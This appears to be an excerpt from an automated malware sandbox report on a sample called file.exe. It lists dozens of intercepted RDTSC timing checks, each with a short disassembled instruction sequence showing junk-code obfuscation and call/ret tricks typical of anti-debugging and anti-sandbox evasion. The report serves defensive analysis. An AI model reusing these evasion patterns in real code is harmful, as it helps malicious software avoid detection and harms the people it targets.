Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7C44C second address: B7C45F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F08C0CB452Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B800A4 second address: B800A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B800A8 second address: B800AE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B811A0 second address: B811EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov dword ptr [esp], eax 0x00000008 movsx ebx, di 0x0000000b push 00000000h 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007F08C0C91958h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 xchg eax, esi 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F08C0C91963h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B811EA second address: B81212 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0CB452Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F08C0CB4535h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B81212 second address: B81227 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0C91961h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B81227 second address: B81231 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F08C0CB4526h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B823DB second address: B823F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0C91963h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B823F2 second address: B823F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B823F9 second address: B82474 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edi 0x00000009 jmp 00007F08C0C91969h 0x0000000e pop edi 0x0000000f nop 0x00000010 call 00007F08C0C9195Eh 0x00000015 clc 0x00000016 pop ebx 0x00000017 push 00000000h 0x00000019 mov di, D141h 0x0000001d push 00000000h 0x0000001f mov edi, ebx 0x00000021 call 00007F08C0C91966h 0x00000026 mov edi, dword ptr [ebp+12467B75h] 0x0000002c pop edi 0x0000002d push eax 0x0000002e pushad 0x0000002f jng 00007F08C0C9195Ch 0x00000035 jo 00007F08C0C91956h 0x0000003b pushad 0x0000003c jmp 00007F08C0C9195Fh 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B81383 second address: B81421 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 mov ebx, 0DC10024h 0x0000000d push dword ptr fs:[00000000h] 0x00000014 or dword ptr [ebp+122D3915h], esi 0x0000001a mov dword ptr fs:[00000000h], esp 0x00000021 or dword ptr [ebp+1244A609h], edi 0x00000027 mov eax, dword ptr [ebp+122D06B1h] 0x0000002d push 00000000h 0x0000002f push edi 0x00000030 call 00007F08C0CB4528h 0x00000035 pop edi 0x00000036 mov dword ptr [esp+04h], edi 0x0000003a add dword ptr [esp+04h], 00000014h 0x00000042 inc edi 0x00000043 push edi 0x00000044 ret 0x00000045 pop edi 0x00000046 ret 0x00000047 call 00007F08C0CB452Dh 0x0000004c mov dword ptr [ebp+12467EBCh], ebx 0x00000052 pop edi 0x00000053 push FFFFFFFFh 0x00000055 push 00000000h 0x00000057 push eax 0x00000058 call 00007F08C0CB4528h 0x0000005d pop eax 0x0000005e mov dword ptr [esp+04h], eax 0x00000062 add dword ptr [esp+04h], 0000001Dh 0x0000006a inc eax 0x0000006b push eax 0x0000006c ret 0x0000006d pop eax 0x0000006e ret 0x0000006f ja 00007F08C0CB4529h 0x00000075 mov dword ptr [ebp+12459DD3h], eax 0x0000007b nop 0x0000007c push eax 0x0000007d push edx 0x0000007e push eax 0x0000007f push edx 0x00000080 jnp 00007F08C0CB4526h 0x00000086 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B81421 second address: B8142B instructions: 0x00000000 rdtsc 0x00000002 jp 00007F08C0C91956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8142B second address: B8144B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0CB4531h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F08C0CB4526h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8144B second address: B81451 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8258D second address: B825A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F08C0CB4528h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B825A2 second address: B825A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B825A6 second address: B825AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84447 second address: B844B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F08C0C9195Ah 0x00000009 popad 0x0000000a push esi 0x0000000b jng 00007F08C0C91956h 0x00000011 pop esi 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 pushad 0x00000016 push eax 0x00000017 pop eax 0x00000018 push edi 0x00000019 pop edi 0x0000001a popad 0x0000001b pop eax 0x0000001c nop 0x0000001d and bl, 00000001h 0x00000020 mov edi, dword ptr [ebp+122D1E82h] 0x00000026 push 00000000h 0x00000028 mov ebx, dword ptr [ebp+122D33C3h] 0x0000002e push 00000000h 0x00000030 mov ebx, 23B06152h 0x00000035 xchg eax, esi 0x00000036 jmp 00007F08C0C91968h 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F08C0C91968h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B844B7 second address: B844BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B85388 second address: B853DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0C9195Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c or dword ptr [ebp+122D33CBh], esi 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push edx 0x00000017 call 00007F08C0C91958h 0x0000001c pop edx 0x0000001d mov dword ptr [esp+04h], edx 0x00000021 add dword ptr [esp+04h], 0000001Bh 0x00000029 inc edx 0x0000002a push edx 0x0000002b ret 0x0000002c pop edx 0x0000002d ret 0x0000002e sub dword ptr [ebp+124677ACh], ebx 0x00000034 push 00000000h 0x00000036 mov bl, 56h 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b jng 00007F08C0C91958h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B85637 second address: B85665 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F08C0CB453Fh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jng 00007F08C0CB4534h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B85665 second address: B85669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B865FE second address: B86609 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F08C0CB4526h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B86609 second address: B8660F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8660F second address: B86613 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B86613 second address: B86693 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+12461115h], eax 0x00000011 push dword ptr fs:[00000000h] 0x00000018 push 00000000h 0x0000001a push edx 0x0000001b call 00007F08C0C91958h 0x00000020 pop edx 0x00000021 mov dword ptr [esp+04h], edx 0x00000025 add dword ptr [esp+04h], 00000015h 0x0000002d inc edx 0x0000002e push edx 0x0000002f ret 0x00000030 pop edx 0x00000031 ret 0x00000032 mov dword ptr fs:[00000000h], esp 0x00000039 push 00000000h 0x0000003b push edi 0x0000003c call 00007F08C0C91958h 0x00000041 pop edi 0x00000042 mov dword ptr [esp+04h], edi 0x00000046 add dword ptr [esp+04h], 0000001Ah 0x0000004e inc edi 0x0000004f push edi 0x00000050 ret 0x00000051 pop edi 0x00000052 ret 0x00000053 mov eax, dword ptr [ebp+122D123Dh] 0x00000059 mov dword ptr [ebp+122DBA1Fh], ecx 0x0000005f push FFFFFFFFh 0x00000061 stc 0x00000062 nop 0x00000063 push eax 0x00000064 push edx 0x00000065 jmp 00007F08C0C91960h 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B86693 second address: B866A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 ja 00007F08C0CB4526h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ecx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B866A4 second address: B866AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B882EB second address: B882F9 instructions: 0x00000000 rdtsc 0x00000002 js 00007F08C0CB4526h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B882F9 second address: B88390 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F08C0C91956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e call 00007F08C0C91969h 0x00000013 push ecx 0x00000014 call 00007F08C0C91969h 0x00000019 pop ebx 0x0000001a pop edi 0x0000001b pop ebx 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ecx 0x00000021 call 00007F08C0C91958h 0x00000026 pop ecx 0x00000027 mov dword ptr [esp+04h], ecx 0x0000002b add dword ptr [esp+04h], 00000018h 0x00000033 inc ecx 0x00000034 push ecx 0x00000035 ret 0x00000036 pop ecx 0x00000037 ret 0x00000038 pushad 0x00000039 mov ebx, dword ptr [ebp+1244AFD7h] 0x0000003f mov ecx, ebx 0x00000041 popad 0x00000042 jmp 00007F08C0C9195Ch 0x00000047 push 00000000h 0x00000049 mov bh, al 0x0000004b add dword ptr [ebp+122D1F69h], eax 0x00000051 xchg eax, esi 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 jg 00007F08C0C91956h 0x0000005b jno 00007F08C0C91956h 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B874CA second address: B874CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B88390 second address: B88395 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8A227 second address: B8A2B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push esi 0x00000006 je 00007F08C0CB4526h 0x0000000c pop esi 0x0000000d popad 0x0000000e mov dword ptr [esp], eax 0x00000011 jmp 00007F08C0CB4531h 0x00000016 ja 00007F08C0CB452Ch 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ecx 0x00000021 call 00007F08C0CB4528h 0x00000026 pop ecx 0x00000027 mov dword ptr [esp+04h], ecx 0x0000002b add dword ptr [esp+04h], 00000016h 0x00000033 inc ecx 0x00000034 push ecx 0x00000035 ret 0x00000036 pop ecx 0x00000037 ret 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push ecx 0x0000003d call 00007F08C0CB4528h 0x00000042 pop ecx 0x00000043 mov dword ptr [esp+04h], ecx 0x00000047 add dword ptr [esp+04h], 0000001Ch 0x0000004f inc ecx 0x00000050 push ecx 0x00000051 ret 0x00000052 pop ecx 0x00000053 ret 0x00000054 jno 00007F08C0CB4527h 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007F08C0CB4533h 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8A2B8 second address: B8A2BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8FB22 second address: B8FB26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B947C1 second address: B947C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B947C5 second address: B947CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B947CB second address: B947F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F08C0C9195Ah 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F08C0C91969h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9494D second address: B9496A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0CB4535h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B94AE0 second address: B94AE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B94AE6 second address: B94B02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F08C0CB4538h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B94B02 second address: B94B0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F08C0C91956h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B99562 second address: B9957F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F08C0CB4535h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9957F second address: B99585 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B99585 second address: B99589 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B99589 second address: B995A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 jc 00007F08C0C91956h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B997C5 second address: B997CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B997CB second address: B997D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B997D0 second address: B99860 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F08C0CB453Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c pushad 0x0000000d jp 00007F08C0CB4526h 0x00000013 jnc 00007F08C0CB4526h 0x00000019 popad 0x0000001a pop edi 0x0000001b mov eax, dword ptr [esp+04h] 0x0000001f jnp 00007F08C0CB452Eh 0x00000025 jbe 00007F08C0CB4528h 0x0000002b push ecx 0x0000002c pop ecx 0x0000002d mov eax, dword ptr [eax] 0x0000002f jng 00007F08C0CB453Dh 0x00000035 jmp 00007F08C0CB4537h 0x0000003a mov dword ptr [esp+04h], eax 0x0000003e pushad 0x0000003f jmp 00007F08C0CB4536h 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007F08C0CB4531h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B99860 second address: B99864 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B99864 second address: 9D3E5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 jnp 00007F08C0CB452Bh 0x0000000e pushad 0x0000000f or ch, 0000003Bh 0x00000012 popad 0x00000013 push dword ptr [ebp+122D126Dh] 0x00000019 cld 0x0000001a call dword ptr [ebp+122D1FFEh] 0x00000020 pushad 0x00000021 jne 00007F08C0CB4527h 0x00000027 xor eax, eax 0x00000029 jnl 00007F08C0CB4527h 0x0000002f mov edx, dword ptr [esp+28h] 0x00000033 jno 00007F08C0CB452Ch 0x00000039 jmp 00007F08C0CB4539h 0x0000003e mov dword ptr [ebp+122D2EB9h], eax 0x00000044 pushad 0x00000045 sub dword ptr [ebp+122D33CBh], esi 0x0000004b add esi, dword ptr [ebp+122D2DB1h] 0x00000051 popad 0x00000052 mov esi, 0000003Ch 0x00000057 pushad 0x00000058 xor di, F3D0h 0x0000005d xor dword ptr [ebp+122D1C3Dh], edx 0x00000063 popad 0x00000064 add esi, dword ptr [esp+24h] 0x00000068 sub dword ptr [ebp+122D1C52h], edx 0x0000006e lodsw 0x00000070 jmp 00007F08C0CB4535h 0x00000075 add eax, dword ptr [esp+24h] 0x00000079 jnp 00007F08C0CB4527h 0x0000007f mov ebx, dword ptr [esp+24h] 0x00000083 jmp 00007F08C0CB452Fh 0x00000088 nop 0x00000089 pushad 0x0000008a push eax 0x0000008b jno 00007F08C0CB4526h 0x00000091 pop eax 0x00000092 push eax 0x00000093 push edx 0x00000094 jbe 00007F08C0CB4526h 0x0000009a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9AAD0 second address: B9AAE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F08C0C9195Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9AAE2 second address: B9AAE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9AAE6 second address: B9AAEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9AAEC second address: B9AB03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F08C0CB452Dh 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9AB03 second address: B9AB0D instructions: 0x00000000 rdtsc 0x00000002 jc 00007F08C0C9195Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9AB0D second address: B9AB25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F08C0CB452Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9AB25 second address: B9AB2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9AB2B second address: B9AB3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007F08C0CB4526h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9AB3A second address: B9AB3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA0610 second address: BA061B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F08C0CB4526h 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA061B second address: BA063B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F08C0C91963h 0x00000008 ja 00007F08C0C91956h 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9FA2A second address: B9FA2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9FA2F second address: B9FA35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9FA35 second address: B9FA3F instructions: 0x00000000 rdtsc 0x00000002 jne 00007F08C0CB4526h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9FDE8 second address: B9FDEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9FF5E second address: B9FF73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0CB4530h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA7202 second address: BA7216 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jnp 00007F08C0C91956h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007F08C0C9195Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B77915 second address: B77984 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007F08C0CB4528h 0x0000000f push edi 0x00000010 pop edi 0x00000011 pop edx 0x00000012 nop 0x00000013 pushad 0x00000014 jmp 00007F08C0CB4537h 0x00000019 or si, 5280h 0x0000001e popad 0x0000001f pushad 0x00000020 mov dword ptr [ebp+12467EBCh], ebx 0x00000026 mov dx, bx 0x00000029 popad 0x0000002a lea eax, dword ptr [ebp+1247767Ah] 0x00000030 push 00000000h 0x00000032 push edi 0x00000033 call 00007F08C0CB4528h 0x00000038 pop edi 0x00000039 mov dword ptr [esp+04h], edi 0x0000003d add dword ptr [esp+04h], 00000017h 0x00000045 inc edi 0x00000046 push edi 0x00000047 ret 0x00000048 pop edi 0x00000049 ret 0x0000004a mov di, ax 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 je 00007F08C0CB4528h 0x00000056 pushad 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B77EA8 second address: B77EAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B77EAC second address: B77EBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007F08C0CB4526h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B77EBE second address: B77ED0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0C9195Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B77ED0 second address: B77ED6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B77ED6 second address: B77EDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
